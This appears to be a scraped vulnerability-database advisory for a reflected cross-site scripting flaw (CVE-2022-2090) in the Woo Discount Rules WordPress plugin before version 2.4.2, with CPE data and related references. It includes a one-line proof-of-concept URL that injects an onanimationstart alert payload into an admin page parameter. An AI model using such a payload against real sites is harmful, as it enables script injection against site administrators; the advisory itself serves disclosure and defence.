Lucene search
ZhongFu Su(JrXnm) of WuHan UniversityWPVDB-ID:0201F365-7ACB-4640-BD3F-7119432F4917HistoryJun 27, 2022 - 12:00 a.m.
Woo Discount Rules < 2.4.2 - Reflected Cross-Site Scripting
2022-06-2700:00:00
ZhongFu Su(JrXnm) of WuHan University
wpscan.com
13
0.001 Low
EPSS
Percentile
40.4%
The plugin does not escape a parameter before outputting it back in an attribute of the plugin’s discount rule page, leading to Reflected Cross-Site Scripting
PoC
https://example.com/wp-admin/admin.php?page=woo_discount_rules&name;="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//
| CPE | Name | Operator | Version |
|---|---|---|---|
| woo-discount-rules | lt | 2.4.2 |
Related
patchstack
patchstack
cvelist
cvelist
CVE-2022-2090 Woo Discount Rules < 2.4.2 - Reflected Cross-Site Scripting
2022-07-17 10:35:45
nvd
nvd
CVE-2022-2090
2022-07-17 11:15:08
prion
prion
Cross site scripting
2022-07-17 11:15:00
cve
cve
CVE-2022-2090
2022-07-17 11:15:08
wpexploit
wpexploit
Woo Discount Rules < 2.4.2 - Reflected Cross-Site Scripting
2022-06-27 00:00:00
cnvd
cnvd
WordPress plugin Discount Rules for WooCommerce跨站脚本漏洞
2022-07-19 00:00:00